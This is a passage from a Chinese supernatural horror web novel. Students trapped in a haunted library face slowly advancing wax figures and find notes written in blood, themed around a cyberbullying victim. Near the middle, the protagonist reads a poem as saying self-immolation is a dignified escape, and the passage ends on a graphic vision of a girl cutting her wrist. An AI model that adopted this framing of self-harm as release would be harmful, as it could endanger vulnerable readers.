之前,它们还只是拥挤在楼梯的最底端,脚下是平整的一楼大理石地面。 但此时,最前排的那几个“蜡像人”,它们覆盖着惨白釉质的双脚,不觉间已经踏上了通往二楼的第一级台阶! 它们像是被一股无形的力量推挤着,肩并肩,挨挨挤挤,彻底占据了那第一级冰冷的台阶。 一张张僵硬而惨白的脸,依旧固执地仰着。 嘴角那抹像被刻刀划出的诡异弧度,似乎比之前更深了几分,透着一股令人毛骨悚然的期待。 它们直勾勾地,无声地注视着二楼的方向,注视着独自站在楼梯口的宿珩。 几乎是同时,宿珩耳边那若有若无的嘲笑声和压抑的哭泣声,也变得比之前更清晰了些许。 那声音的源头,仿佛正随着那些“蜡像人”的缓慢移动,一点一点地……向二楼逼近。 宿珩蹙了蹙眉。 他从口袋里取出手机,依旧没有信号,但时间显示正常。 距离他们被卷入这个诡异的图书馆,点开那些失效的链接开始,刚好过去了半个小时。 也就是说,在这短短的三十分钟内,这群恐怖的“蜡像人”,已经悄无声息地往上挪动了一级台阶的距离。 宿珩的目光沉静地扫过整个楼梯。 他默默数了一遍从一楼到二楼的台阶数量。 算上已经被那些“蜡像人”占据的第一级,不多不少,一共是二十四级台阶。 如果按照每半小时向上挪动一级台阶的速度来计算…… 那么,总共需要十二个小时,这些“蜡像人”就能完全爬上二楼。 而现在,已经过去了半个小时。 也就是说,他们或许只剩下十一个半小时。 等到了那时,这群诡异的东西就会彻底抵达二楼。 到时候,它们会是什么样子,会做出什么举动,没有人知道。 说不定,它们会彻底脱离某种无形的桎梏,将二楼的他们,当成等待已久的……猎物。 宿珩面色稍显沉重,转身回到了书架区。 其他人依旧在埋头翻找着。 不时有人发出一声失望的叹息,或者烦躁地将书扔回书架,显然一无所获。 “楼梯口的那些东西……动了。” 宿珩平静的声音在沉闷的书架区响起,清晰地传入每个人耳中。 他没有刻意渲染,只是在陈述一个刚刚发现的事实。 “什么?!” 最先反应过来的是余思阳,他猛地抬起头,脸上满是错愕和不敢置信。 林莹莹更是吓得“啊”了一声,脸色瞬间又白了几分,抓着江文彬胳膊的手抖得更厉害了。 江文彬也是一脸骇然,嘴巴微张,似乎想说什么,却又因为惊恐而发不出声音。 文玉燕的动作最快。 她几乎是在宿珩话音落下的瞬间,便丢下手里的书,快步冲向楼梯口。 当看清楼梯下方的情形时,她的脸色瞬间沉了下来。 “它们真的……上来了……” 文玉燕喃喃自语,声音里带着一丝难以掩饰的凝重。 其他人也陆陆续续跟了过来。 看到那些“蜡像人”确实已经踏上了第一级台阶,一个个都吓得不轻,几人再次被一股浓重的恐惧所笼罩。 就在这时—— 一直紧盯着那些“蜡像人”的余思阳,像是突然发现了什么,猛地伸手指着那群密集“人”影中,一个靠后的位置。 他的声音因为极致的惊恐而变得有些尖锐和嘶哑: “那……那个!穿……穿着蓝色运动服的那个,那是……那是我们校篮球队的队员,他……他已经失踪快一个星期了!” 此话一出,犹如一块巨石投入平静的湖面,激起千层骇浪。 林莹莹倒抽一口凉气,眼睛一翻,差点当场晕厥过去,幸好被江文彬手疾眼快地扶住。 江文彬脸上的血色褪得一干二净,扶着墙壁才勉强站稳,他感觉自己的腿肚子在不受控制地抽筋。 文玉燕的瞳孔也骤然收缩,倒吸一口冷气。 失踪的篮球队队员? 他竟然……变成了下面那些恐怖蜡像中的一个?! “难道……下面那些……密密麻麻的……全都是……失踪的学生?” 林莹莹的声音抖得不成样子,死死抓着江文彬的胳膊,指甲几乎要嵌进他的肉里。 这个猜测太过恐怖,让所有人都感到一阵毛骨悚然。 如果真是这样,那这座图书馆,究竟吞噬了多少人? 江文彬此刻也顾不上胳膊上的肉被掐得剧痛,他脑中一片空白,只剩下无边的恐惧和一种荒谬感。 他扶着旁边的墙壁,身体不受控制地颤抖着。 “不……不对啊……学校里失踪的人,据我了解……没……没有这么多啊……” 他努力地吞咽着口水,试图让自己镇定下来,但声音依旧抖得厉害。 “前前后后……被传失踪的……大概……大概也就五六个……” 江文彬自己说完,大概也觉得这个数字和楼下那恐怖阵仗比起来,实在太过苍白无力,声音不自觉低了下去。 但他的话却像一盆冰水,兜头浇在众人心上,让大家稍微冷静了下来。 先前他们只顾着惊骇于下方“蜡像人”的数量之多,以及其中惊现失踪的校篮球队员,现在被江文彬这么一提醒,众人才倏然回过神来—— 学校官方通报的失踪人数,与下方那黑压压一片的“蜡像人”数量,根本对不上! “江同学说得对……” 一直沉默的程蔓,细弱的声音却在这时候清晰地响起。 “学校里,确实只通报了五起失踪事件。” 她低着头,声音里带着一丝强撑的镇定,似乎连提起这件事都需要莫大的勇气。 文玉燕眉心紧蹙,她迅速在脑海中回忆了一下自己接手任务前,从办事处拿到的资料。 她点了点头,肯定道:“没错,有记录的失踪案,确实只有五件。” 五个…… 可楼梯下方,那些密密麻麻、形态各异的“蜡像人”,粗略看去,少说也有上百个! 这个数字对比,让每个人都感到一阵头皮发麻。 宿珩的视线重新落回下方,那些僵硬面容的嘴角向上弯起,裂出夸张至极的笑容,透着令人胆寒的诡异。 这些“蜡像人”,或许不仅仅代表着失踪者。 它们的存在,恐怕还象征着别的什么……但具体是什么,他一时间也无法明晰。 众人心头那份刚被压下的恐惧,又一次翻涌上来,沉甸甸地压得他们喘不过气。 那些“蜡像人”虽然移动缓慢,但它们确实在一步一步地向上逼近。 那种无声的压迫感,远比张牙舞爪的怪物更加令人窒息。 “那……那它们……” 林莹莹绝望地看向江文彬,“它们要是真的全都上来了,我们……我们怎么办啊?” 江文彬被林莹莹看得心头发慌,强迫自己思考,终于挤出一个念头: “要不我们搬几张桌子,把楼梯口给堵死?” 他像是抓住了最后一根救命稻草,声音都因为激动而变了调。 他实在无法想象那些东西爬上来的情景,只能寄望于这种最原始的防御手段。 “堵死?” 文玉燕瞥了他一眼,眼神带着毫不掩饰的讥诮,“你觉得这种东西,是几张破桌子能挡住的?” 她的语气里充满了不屑。 这些“蜡像人”透着非人的诡异,绝非物理障碍能够轻易阻挡。 “不试试怎么知道!” 江文彬被她怼得脸上青一阵白一阵,却还是梗着脖子反驳,声音因为被驳了面子而显得有些尖利。 “总比在这里等死强吧!” 话音未落—— 宿珩已经动了。 他不知何时,已经从阅览区深处拖来了一把看起来颇为沉重的实木椅子。 那椅子是图书馆里常见的那种,橡木材质,厚重敦实,椅背上还带着圆润的弧度。 在众人惊愕的目光中,宿珩双手抓住椅背,手臂肌肉微微贲起。 “你……你干什么?!” 江文彬被他这突如其来的举动吓了一跳,失声叫道。 他生怕宿珩的鲁莽举动会激怒楼下那些恐怖的东西,到时候大家一起完蛋! 宿珩却根本没理会他。 他手上猛地发力,将那沉重的木椅高高举过头顶,然后毫不犹豫地,朝着楼梯下方那些密集的“蜡像人”狠狠掷了过去! 椅子带着呼啸的风声,在昏暗的图书馆半空中划出一道决绝的弧线。 江文彬的心脏几乎要从嗓子眼里跳出来,林莹莹更是发出一声短促的尖叫,死死捂住了嘴。 就在椅子即将砸烂它们脑袋的瞬间—— 最前排的那几个“蜡像人”,它们原本僵硬得如同蜡像的身体,竟然动了! 它们的动作依旧带着一种非人的滞涩与僵硬,每一个关节的转动都仿佛生了锈的机械。 只不过速度却快得不可思议! 几乎是在木椅即将砸到到它们脑袋的刹那,数只覆盖着惨白釉质的手臂同时向上抬起,精准无比地抓住了急速下落的木椅。 “咔嚓——咯吱——” 令人牙酸的碎裂声响起。 那把在普通人手中坚固沉重的实木椅子,在那些惨白的手中,却像是小孩子玩的脆弱积木。 它们的手指甚至没有看到如何发力,只是那么一合,一拧。 椅腿、椅背便应声断裂,木屑纷飞。 坚硬的橡木转瞬间就被捏成了一堆不成形状的破烂木块,稀里哗啦地散落在冰冷的台阶上。 整个过程,快得让人几乎反应不过来。 从椅子脱手,到它变成一堆烂木碎屑,不过是眨眼的工夫。 那些“蜡像人”捏碎椅子后,便又恢复了那种仰头望天的诡异姿态,仿佛刚才的一切都未曾发生。 只有散落在它们脚边的那堆木头残骸,无言地诉说着方才那骇人的一幕,让人不寒而栗。 楼梯口死一般的寂静。 每个人的呼吸都像是被一只无形的手扼住了。 这绝对是……人力无法抵挡的存在! 连身体素质远超常人的余思阳,此刻也感到一股寒意从脚底直冲天灵盖。 他额角渗出冷汗,喉结滚动了一下,下意识地后退了半步,眼神里充满了骇然与深深的忌惮。 他很清楚,刚才那一下,如果换成是人,恐怕骨头都会被瞬间捏碎。 江文彬更是脸无人色,双腿一软,几乎要瘫倒在地。 他终于明白,自己先前的想法有多么可笑和无知。 那点想要用桌子堵门的念头,此刻被那堆碎木砸得粉碎,连一丝残渣都不剩。 文玉燕的脸色也变得异常难看。 她紧紧抿着唇,目光凝重地扫过楼下那些“蜡像人”,又看了一眼宿珩。 这个新人的胆识,正如肖靳言所说的那样,不能以常理度之。 只是这结果……有些让人绝望。 相较于其他人的骇然,宿珩只是平静地看了眼楼下那堆木头碎片。 他的脸上没有什么多余的表情,仿佛这个结果,早在他的预料之中。 他只是在通过这种方式,确认这些“东西”的某种特性而已。 第39章 第 39 章 失效链接5 “回……回去!快回去找线索!” 江文彬第一个反应过来, 声音嘶哑地喊了一声。 他几乎是手脚并用地拉着林莹莹,连滚带爬地逃离了楼梯口,一头扎进了书架区。 这一次, 他是真的怕了,再也顾不上什么面子,只想快点找到离开这鬼地方的办法。 林莹莹被他拖着, 也顾不上哭了,脑子里只有一个念头——活下去。 她跌跌撞撞地跟在江文彬身后,第一次主动地在那些积满灰尘的书籍间翻找起来, 哪怕只是胡乱地翻动, 也比傻站着等死强。 余思阳脸色铁青, 深吸了几口气,强迫自己冷静下来。 他看了一眼楼梯下方那些纹丝不动的“蜡像人”, 又看了一眼宿珩平静得有些过分的侧脸,最终还是咬了咬牙,转身也走向了书架区。 程蔓自始至终都站在人群的边缘,像一抹随时会融入阴影的淡色剪影。 她默默看着这一切的发生, 眼神低垂, 长长的睫毛掩盖了所有的情绪。 见其他人都散开了, 她也抱着自己随身的旧布袋, 悄无声息地钻进了书架间,身影很快隐没在浓重的阴影里。 转眼间, 楼梯口附近只剩下了宿珩和文玉燕两人。 宿珩依旧站在那里,目光平静地注视着下方那些占据了第一级台阶的“蜡像人”。 手机屏幕上的时间无声地跳动着, 距离下一个“半小时”的到来,还有不到十分钟。 他想亲眼看看,这些东西究竟是如何向上移动的。 “真被老大说对了, 胆小的人在你身边,总有一天会被你吓死。” 文玉燕带着些许调侃,又有些无奈的声音从身后传来。 她并没有像其他人那样急着去翻书,反而好整以暇地走到宿珩旁边,目光同样投向下方。 “你好像一点都不意外。” 文玉燕侧头看了宿珩一眼,他脸上那种超乎寻常的镇定,让她再次彻底对肖靳言的话深信不疑。 宿珩没说话,仿佛没听见她的调侃。 文玉燕不以为意地耸了耸肩,轻轻按了按眉心,似乎有些头疼。 她忽然想起来,问道:“[被火焰吞噬的鸟,总好过在囚笼中死亡],你有什么想法?” 这个问题,她其实也一直在琢磨。 宿珩的视线依旧停留在那些“蜡像人”身上,没有丝毫偏移。 “字面意思不难理解。” 他顿了顿,声音没什么起伏,“只是,这扇心门的绝望来源,目前还很模糊,无论是面前这群‘人’,还是那张字条背后代表的真正含义。” “同感。” 文玉燕点了点头,眼神里多了几分凝肃。 “这些‘蜡像人’和失踪的学生有关,但数量对不上。” “而且……那句诗透出的绝望感,太强烈了……” “更关键的是,‘心门’的主人,迄今为止还未露面。” 文玉燕的想法和自己不谋而合,对此宿珩不置可否,只“嗯”了声,并没有接话。 两人在沉默中静静等待着。 时间一分一秒地流逝,空气中的压抑感越来越重。 终于,手机屏幕上的时间跳动了一下。 第二个“半小时”……到了。 几乎是在同一时刻,楼梯下方那些原本静止不动的“蜡像人”,再次有了动作。 它们依旧保持着仰头的姿态,脖颈僵硬地维持着那个诡异的角度。 但它们的身体,却开始以一种极为缓慢而扭曲的方式扭动起来。 最前排的那几个“蜡像人”,它们覆盖着惨白釉质的胳膊和腿,像是早已生了锈的古老机械零件,发出细微的“咯吱咯吱”,令人牙酸的声音。 它们互相推搡着,拥挤着。 用一种令人极度不适的姿态,缓慢地向上迈出了一步。 几只惨白僵硬的脚,终于踏上了通往二楼的第二级台阶。 身后的空隙,几乎是刹那间,被更多的“蜡像人”挤得满满当当。 它们的动作幅度很小,每一个关节的转动都显得那么费力而滞涩,但那种集体向上逼近的压迫感,却让人头皮发麻。 文玉燕忍不住搓了搓胳膊,上面起了一层细密的鸡皮疙瘩。 “真够瘆人的。” 她低声说了一句,随即深吸一口气,“走了,我也去看看能不能找到点有用的东西。” 说完,她不再停留,转身快步走向了书架区。 宿珩依旧站在原地。 随着那些“蜡像人”再次向上移动了一级台阶,他耳边那若有若无的嘲笑声,果然又清晰了几分。 那声音更加尖锐,更加密集,甚至隐隐让他产生了一种轻微的耳鸣错觉。 而混杂在嘲笑声中的,那股压抑的、几乎细不可闻的哭泣声,也仿佛更近了一些,带着一丝令人心悸的绝望。 他静静地看着那些占据了第二级台阶的“蜡像人”。 看着它们惨白僵硬的脸,看着它们嘴角的诡异笑容。 一个念头,毫无征兆地在他脑海中闪过。 这些“蜡像人”,它们代表的会不会是……那些曾经发出嘲笑的人? 而那细微的哭声,则是那个被嘲笑者,无助而绝望的悲鸣? 如果同时有这么多人,用如此密集的方式嘲笑一个人…… 那会是在什么样的情况下发生? 宿珩的脑海里,冷不防浮现出前几天下午,室友1转发给他的,那个学校匿名论坛的帖子。 帖子中那张角度刁钻的偷拍照片。 下面成百上千条带着各种情绪的评论。 那些匿名的ID背后,是一张张怎样的嘴脸? 他们敲下那些字的时候,是带着怎样的心态? 那些文字,那些揣测,那些污蔑,那些恶毒的攻击…… 何尝不像是此刻在他耳边回响的,这些无形的、令人窒息的嘲笑? 宿珩的呼吸,在这一刻微微一滞。 一种冰冷的寒意,从心底悄然升起。 他从口袋里,重新取出了那张从旧书里掉落的,用血写成的纸条。 纸条边缘已经有些卷曲,上面的血色字迹在昏暗的光线下显得更加触目惊心。 [被火焰吞噬的鸟,总好过在囚笼中死亡。] 之前,他只觉得这句诗充满了绝望和一种玉石俱焚的决绝。 但此刻,结合耳边越来越清晰的嘲笑与哭泣,结合那些“蜡像人”的步步紧逼,再看这行血字,他似乎……更能理解那种感受了。 当一个人被无数的恶意包围,被无休止的嘲讽淹没。 当每一次呼吸都伴随着他人的指指点点和窃窃私语。 当整个世界都变成一个充满恶意的囚笼,日复一日地承受着精神上的凌迟。 那种绝望,足以将最坚强的人也逼到极致。 与其在这样的囚笼中,被一点点蚕食掉所有的尊严和希望,直至麻木、枯萎甚至彻底死亡。 倒不如…… 一把火,将这令人窒息的囚笼,连同自己,一同烧个干干净净。 哪怕最终化为灰烬,也比在无尽的黑暗与折磨中苟延残喘,要来得痛快。 来得……有尊严。 这是一种何等惨烈的解脱。 宿珩捏着纸条的手指,不自觉地收紧了几分。 纸张的粗糙质感,和那股淡淡的铁锈腥气,此时显得格外清晰。 如果他的猜测是对的,那么这扇“心门”的主人,所经历的绝望,恐怕远超一般人想象。 而破解的关键,或许就藏在这些嘲笑与哭泣的背后。 宿珩抬起头,目光再次投向那些占据了第二级台阶的“蜡像人”。 它们的笑容,似乎更加的……得意了。 二十四级台阶。 现在,还剩下二十二级。 十一个小时。 时间,不多了。 …… 宿珩正凝神思索,书架区那边冷不丁传来一声难掩激动的低呼。 “找到了!我好像找到了!” 听声音,是余思阳。 宿珩眉峰微动,转身朝着声音传来的方向走去。 书架区的光线依旧昏暗,几人零散地分布在不同的书架之间。 宿珩绕过一排高大的书架,便看见余思阳正站在一处角落,手里紧紧攥着一张明显泛黄的纸条。 余思阳的脸上带着难以置信的兴奋,就连额角因为翻书时蹭上的灰尘都没顾得上擦。 这纸条的质地和颜色,与宿珩先前找到的那张如出一辙。 或许是书架中的霉味太重,又或许是余思阳并未留意,纸条上那些暗红色的字体,同样散发着极淡的血腥气。 “找到什么了?快给我看看!” 江文彬几乎是第一时间挤了过去。 他脸上挂着那种惯常的假笑,眼神却带着明显的急切,甚至伸手想去抢余思阳手里的纸条。 林莹莹亦步亦趋地跟在他身后,脸上既有好奇也有掩不住的激动。 对她来说,任何可能离开这里的线索,都比待在这里等死强。 程蔓也停下了翻找的动作,站在不远处。 她抱着自己的布袋,身体微微侧对着这边,似乎想靠近,却又在看到江文彬和林莹莹挤过去的瞬间,迟疑地停住了脚步。 她只悄悄踮起脚尖,隔着书架的缝隙,将目光投向余思阳手中的纸条,眼神里带着一丝探究,像是想看清上面的内容。 余思阳显然对江文彬的凑近有些不耐。 他微微侧身,不着痕迹地避开了江文彬几乎要贴上来的脸,同时将纸条往怀里收了收。 “挤什么挤?” 余思阳瞪了他一眼,然后将那张纸条展开,对着光线勉强辨认着上面的字迹。 “这好像是一句诗……” 余思阳清了清嗓子,努力将纸条上的字迹辨认清楚,一字一句地念了出来,声音在安静压抑的图书馆里显得格外清晰: “蜡白色的微笑背后……” 他顿了顿,似乎在确认下一个字,手指在纸条上轻轻滑动。 “是面具下……即将溃烂的缺口……” 诗句不长,甚至有些突兀,读起来带着一种莫名的晦涩感。 念完,余思阳自己先皱起了眉头,脸上露出几分困惑。 “这……这是什么意思?” “什么鬼东西啊!” 林莹莹听完,脸上难掩失望,她撇了撇嘴,小声嘀咕:“写得莫名其妙的,完全看不懂……这能是线索吗?” 江文彬的表情却在听到这句诗的瞬间,有那么一刹那的僵硬。 他脸上的肌肉似乎不受控制地抽动了一下,眼神也飘忽了一瞬,像是被什么东西戳中了心事,隐隐透出一丝不易察觉的心虚。 但这抹异样转瞬即逝,快得几乎让人以为是错觉。 江文彬立刻换上一副不以为然的表情,甚至带上了几分刻意的轻视。 “这都什么和什么啊,故弄玄虚……说不定是谁恶作剧写上去的,根本不是什么线索。” 说完,他拉起林莹莹的胳膊,语气带着哄劝,但更多的是一种急于逃离的迫切。 “莹莹,我们去那边找,别理这些没用的。” 林莹莹本就觉得这诗莫名其妙,闻言立刻点头,被江文彬拉着,急匆匆地跑向了另一排书架。 江文彬脸上那细微到几乎不可察的表情变化,却没有逃过一直留意着这边文玉燕的眼睛。 她站在不远处,将江文彬那一闪而逝的心虚尽收眼底。 文玉燕若有所思地瞥了一眼江文彬仓惶离开的背影,目光深邃了几分,随即又转向刚从楼梯口回来的宿珩。 宿珩此刻正站在不远处,目光平静地看着余思阳手中的纸条,似乎正在想些什么。 两人视线交汇,都从对方眼中读出了一丝不一样的意味。 此时,宿珩的心情却有种说不上来的古怪。 蜡白色的微笑……面具……溃烂的缺口…… 第二张纸条的出现,这些奇怪的字眼…… 像是在他先前那些模糊的猜测之上,又添了一块不算稳固的基石。 他觉得自己似乎抓住了什么关键的线索,但那线索又像一缕青烟,飘忽不定,稍纵即逝。 楼梯下方那些“蜡像人”,它们脸上就挂着那种僵硬的、如同涂了一层厚厚白蜡的微笑。 这句诗,“蜡白色的微笑背后”,无疑是在暗示那些嘲笑者笑容背后的虚伪与恶意。 但……仅仅是这样吗? “面具下即将溃烂的缺口”,又代表了什么意思? 宿珩的目光不由飘向程蔓所在的方向。 她依旧安静地站在那里,抱着布袋,低垂着头,看不清表情。 头顶昏寐的光线,在她素净的白裙上投下暗淡的光影,让她整个人看起来更加纤弱,仿佛随时会融入周遭的阴影。 她似乎察觉到了宿珩的注视,身体几不可察地僵了一下,然后更深地低下了头,长长的睫毛在眼睑下投下一片浓重的阴影。 这两句诗,不合时宜地与程蔓那强撑着的,总带着一丝勉强的笑容重叠起来。 程蔓的笑容,有时候确实像一张精心绘制、却无法完全贴合的“面具”。 宿珩的目光从程蔓身上移开,又不动声色地扫过其他几人。 余思阳还在对着那张纸条苦思冥想。 文玉燕则若有所思地看着他。 江文彬拉着林莹莹穿梭在不同的书架前,脸上的心虚和慌张早已被他掩饰得荡然无存,又恢复了那副文质彬彬的模样。 一个念头,如同电流般,冷不防窜过宿珩的脑海。 这句诗,会不会还在暗示…… 他们这些被困在图书馆里的人当中,就存在一个……戴着面具的人? 这个人,或许曾经参与了对“心门”主人的嘲笑与侮辱。 又或者,他表面上装作无辜的旁观者,甚至扮演着好人的角色,实际上却对心门主人造成了难以磨灭的巨大伤害。 宿珩心中微动。 他像一个解谜者,拼命想将散落的线索串联起来,却总觉得在最关键的地方,有一块缺失的拼图。 那块缺失的,到底会是什么? 第40章 第 40 章 失效链接6 时间在压抑的沉默中缓缓流逝。 两个小时, 不觉间悄然过去。 书架区内,除了扬起的灰尘,再没人找到第三张纸条的踪影。 每个人的脸上, 都或多或少添了些焦躁与疲惫。 而楼梯下方那些“蜡像人”,已经悄无声息地,向上挪动到了第六级台阶。 它们离二楼越来越近。 那一张张惨白僵硬的脸, 和嘴角那抹凝固的诡异笑容,在昏暗的光线下显得愈发清晰,也愈发令人心悸。 尤其每隔半小时, 它们集体向上挪动时, 骨骼错位般的细微“咯吱”声, 都像一把钝重的小锤,不轻不重, 却一下下砸在众人早已紧绷脆弱的神经上。 “文彬……” 林莹莹忽然拉了拉江文彬的衣袖,声音带着哭腔,脸憋得有些发红。 “我……我想去卫生间。” 江文彬正心烦意乱地翻着一本厚重的书本,闻言动作一僵。 图书馆的卫生间, 在楼梯口的斜对面, 最靠里的角落。 那里的灯光, 比阅览区这边还要昏暗几分, 幽幽的光线勉强勾勒出轮廓。 要去那里,就必须再次经过那个令人毛骨悚然的楼梯口。 江文彬闻言, 笑容僵住,目光不由自主地瞥向楼梯口, 喉结滚动了一下。 他干巴巴地开口:“莹莹,要不再……再忍忍吧,现在情况特殊……” 这话说得他自己都没底气。 “我……我快憋不住了。” 林莹莹的声音更小了, 带着几分委屈和焦急,眼圈都红了。 这突如其来的生理需求,在极度的紧张和恐惧下,变得格外难以忍受。 她连女厕都不敢自己一个人进去,下意识地将求助的目光投向了不远处的文玉燕和程蔓,声音细弱蚊蝇。 “文学姐,程同学……你们能……能陪我一起去吗?” 文玉燕眉头几不可察地蹙了一下,她对这种麻烦事向来没什么耐心,正想开口拒绝。 一直沉默的程蔓,却在这时轻声开口,“我……可以陪你。” 她犹豫了一下,还是慢慢走了过来,脸上带着一贯的浅笑,只是那笑容有些勉强。 江文彬见状,知道自己躲不过去了。 女朋友森*晚*整*理都开口了,两个女生都去了,他一个大男人总不能缩在后面。 他咬了咬牙,只好硬着头皮道:“那好,我陪你们一起去。” 他拉着林莹莹的手,强作镇定地走在前面。 程蔓默默地跟在林莹莹另一侧。 三人小心翼翼地绕过楼梯口,尽量不去看那些越来越近的“蜡像人”。 来到女卫生间门口,江文彬停下了脚步,脸色依旧苍白。 里面的光线比外面更暗,隐约能闻到一股潮湿的霉味和消毒水的气味。 “我就在外面等你们,莹莹,你……你快点。” 江文彬声音发紧地催促道。 林莹莹连忙点了点头,抓着程蔓的手,两人这才心惊胆战地走进了光线昏暗的女卫生间。 然而没过多久—— “啊——!” 一声凄厉的尖叫,猛地从卫生间里传了出来。 江文彬在外面等得本就心惊肉跳,听到这声尖叫,更是吓得魂飞天外。 他脑子里“嗡”的一声一片空白,几乎是条件反射般,拔腿就往书架区的方向狂奔而去! 什么女朋友……什么好男友,全都被他抛在了脑后。 林莹莹尖叫着从卫生间里冲了出来,一眼就看到江文彬仓皇逃窜的背影,连个影子都快看不见了。 “江文彬!你这个混蛋!人渣!” 她气得浑身发抖,又惊又怕,眼泪不受控制地涌了出来。 这一刻,她对江文彬的失望和愤怒,甚至暂时压过了恐惧。 但她也不敢在卫生间这边多待一秒,哭着转身,跌跌撞撞地朝着书架区跑去。 程蔓紧随其后从卫生间里出来,她的脸上同样带着未褪的惊恐,嘴唇紧抿,脸色比先前更加苍白。 “怎么了?发生什么事了?” 余思阳见两个女生惊慌失措地跑回来,江文彬则是一副丢了魂的样子,缩在书架角落大口喘气,立刻迎上前问道。 “血……好多血……” 林莹莹吓得语无伦次,指着卫生间的方向,话都说不完整。 最后还是程蔓深吸了一口气,努力平复着剧烈的心跳,声音带着一丝颤抖,解释道: “我们刚进去的时候……还没什么异样。” “但是出来的时候,我们看到……看到镜子上……像是被人抹了好多血……连……连盥洗盆里都是……” “镜子上有没有写什么东西?” 文玉燕立刻皱着眉追问。 林莹莹和程蔓都惊魂未定地摇了摇头。 “太……太吓人了……我们没敢细看就跑出来了……” 文玉燕的目光转向宿珩,宿珩微微颔首,领会了她的意思。 “我去看看。” 文玉燕沉声说完,率先朝着女卫生间的方向走去,路过江文彬时,还轻蔑地瞥了他一眼。 宿珩跟在她身后。 余思阳犹豫了一下,本想着自己一个男生进去不太好。 但看宿珩脸色镇定,又瞥了一眼正在向林莹莹低声下气解释的江文彬,最终也硬着头皮跟了过去。 女卫生间里弥漫着一股浓郁的,铁锈般的血腥气。 盥洗台前的镜面上,被胡乱涂抹着大片暗红色的血迹,连白色的陶瓷盥洗盆里也积了一滩。 “你们……呕……” 跟进来的余思阳天生晕血,尤其看到这惨烈的一幕,当即捂着嘴,话都没说完,就脸色发白地退了出去。 卫生间仅剩下宿珩和文玉燕两人。 几个用血写成的扭曲字体,在镜面上显得格外刺眼,透着一股浓烈的怨念。 宿珩眯起眼睛,勉强辨认出那几个字—— [报应]! 以及更小一点的,像是急躁状态下添上的—— [下一个就是你]! “看来,‘心门’的主人开始不耐烦了。” 那些血字让文玉燕心头一沉,说话的声调不由得重了几分。 她正想说什么,却见宿珩面无表情地走到旁边的纸巾架上,缓缓抽出一张擦手纸,伸向镜面。 接着在那血字未干的边角处,轻轻擦拭了一下。 纸巾上立刻沾染了一抹鲜红。 文玉燕眉心猛地一跳,下意识地压低声音提醒: “喂……在这种地方,最好别乱动这些东西。” “有时候……故意破坏线索,可能会发生某些不好的事情。” 宿珩将沾了血的纸巾随意地扔进旁边的垃圾桶。 他语气平淡地问:“比如什么事?” 文玉燕看着他那副不以为然的样子,嘴角抽了抽。 回想起他之前用椅子砸“蜡像人”的壮举,语气不免变得有些复杂。 “我以前遇到过一个‘心门’,里面有个路人,偏偏不信邪,故意把墙上挂着的一幅画给撕了。” “后来……他的皮,就被活生生剥了下来,挂在了原来那幅画的位置。” 她顿了顿,似乎觉得这个例子对宿珩这种人来说可能没什么威慑力。 只好耸了耸肩,无奈地补充了一句:“当然,这也只是概率事件。” 宿珩闻言,没什么表情地“嗯”了一声,不以为意。 他心想,前两次“心门”,他似乎也做过不少类似“破坏线索”的事情。 但都有惊无险地过来了。 这个念头刚起,肖靳言那张线条硬朗、总是带着几分戏谑又透着可靠的脸,便不受控制地在他脑海中一闪而过。 那时候……是因为有肖靳言在。 他下意识地信任那个人,所以才放心地那么肆无忌惮的吗? 这念头转瞬即逝,快得几乎抓不住。 宿珩很快便将那张脸从脑海中摒除了出去,重新将注意力放回了眼前这诡异的血字上。 “血迹还很新鲜。” 他平静地说出了这个事实。 听到这话,文玉燕本想说这在“心门”中并不算稀奇。 毕竟,血腥的场景她见得多了,比这更恐怖的也不是没有。 但转念一想,如果按照林莹莹和程蔓先前的说法,她们刚进来时镜子和盥洗盆都还干干净净。 是出来的时候才突然出现的血迹…… 这说明她们在卫生间里,或许是无意间触发了什么禁忌,才导致了这诡异一幕的发生。 又或许……是“心门”的主人,刻意为之。 “这应该就是第三张纸条。” 宿珩的声音打破了她的思绪,依旧没什么波澜。 文玉燕一怔,目光重新投向镜面上那扭曲的血字。 “报应……下一个就是你……” 她低声念着,眉头蹙得更紧。 这几个字像是用尽了全身力气,那股疯狂的恨意几乎要从镜子里溢出来。 先前那两张纸条上的诗句,虽然也透着绝望,但多少还带着几分晦涩的隐喻。 可眼前这几个字,却赤/裸/裸地充满了疯狂的怨毒和毫不掩饰的杀意,像是一把淬了毒的匕首。 “如果再找不到离开这里的线索……” 文玉燕的声音压低了几分,眼神里闪过一丝真正的凝重。 “我担心……真的会死人。” 她话音刚落,宿珩的眉心几不可察地微微一蹙。 一阵若有似无的,压抑至极的哭泣声,如同潮水般,毫无预兆地涌入他的耳中。 那哭声细密,带着令人心悸的悲伤与绝望,像是无数根尖利的针,一根根扎进他的鼓膜。 时而像是在耳边呜咽,时而又像是直接响彻在他的脑海深处,嗡嗡作响,挥之不去。 他下意识地瞥了眼文玉燕。 对方却神色如常,正专注地审视着镜面上的血字,显然什么都没有听到。 而他耳中的哭泣,却越来越清晰。 声音中……带着更加绝望的感染力,几乎要将他也也拽进那片痛苦的泥沼。 宿珩感觉自己的心脏像是被一只无形的手攥紧,呼吸也随之沉重了几分,胸口闷得发慌。 他蹙紧眉梢,强忍着不适,将目光投向那个盛满了暗红色液体的盥洗盆。 水面浑浊,浓重的血腥气扑鼻而来,那股铁锈味几乎要凝成实质。 就在那片粘稠的暗红之中,他恍惚间,似乎看到了一个极细小的、闪着寒光的金属薄片,正静静地躺在盆底。 那薄片很小,很不起眼,若非他看得仔细,几乎就要被浓稠的血色所掩盖。 几乎是同一瞬间。 一幅模糊而残忍的画面在他脑海中蓦地炸开—— 一条苍白纤细的手臂,上面布满了纵横交错、早已愈合的浅色旧疤。 此时,这条手臂正不受控制地微微颤抖着,像是承受不住某种巨大的痛苦。 又像是在犹豫,在挣扎。 另一只手,紧紧攥着那枚锋利的刀片,指节因为用力而泛白。 带着一种近乎麻木的绝望与孤注一掷的决绝,刀片在那条布满旧痕的手腕上,颤抖着重重划下! 一道崭新的、殷红的伤口瞬间裂开。 鲜血争先恐后地涌出,染红了瓷白的皮肤,也染红了冰冷的刀片…… 那血,一开始是鲜红的。 然后慢慢变得暗沉,一滴滴坠入冰冷的盥洗盆中,晕开一团团令人心惊的颜色。 “当啷”一声轻响—— 仿佛那枚染血的刀片终于脱手,掉落进了冰冷的盥洗池底,与池壁碰撞后归于沉寂。 那压抑痛苦的哭泣声,也在这一刻达到了顶峰。 如同决堤的洪水,瞬间将宿珩彻底淹没。 每一个音节都充满了无助和撕心裂肺的悲鸣。 宿珩的脸色骤然变得有些苍白,额角渗出细密的冷汗,呼吸也微微急促了几分。 他甚至觉得胃里一阵翻搅,喉咙发紧,有种想吐的恶心感。 